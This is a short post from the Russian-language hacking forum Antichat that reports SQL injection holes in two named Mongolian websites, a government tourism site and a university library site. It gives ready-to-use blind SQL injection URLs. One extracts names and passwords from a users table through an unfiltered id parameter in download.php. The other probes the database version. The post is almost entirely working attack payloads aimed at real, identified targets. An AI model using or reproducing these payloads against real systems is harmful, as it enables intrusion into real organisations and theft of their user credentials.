ANTICHAT - Показать сообщение отдельно

http://www.mongoliatourism.gov.mn

4 ветка,полей для вывода нет,нашел нефильтруемый параметр id в index.php и download.php

есть табличка users с колонками id,name,pass

Цитата:

http://www.mongoliatourism.gov.mn/download.php?id=7+and+1=if(ascii(substring((select +concat(name,pass)+from+users+limit+0,1),1,1))>1,1 ,0)/*

http://www.must-library.edu.mn

Очень бажный сайт,
3 версия мускула...

Цитата:

http://www.must-library.edu.mn/web-page/index.php?top_id=2&id=2'+and+3=substring(version() ,1,1)/*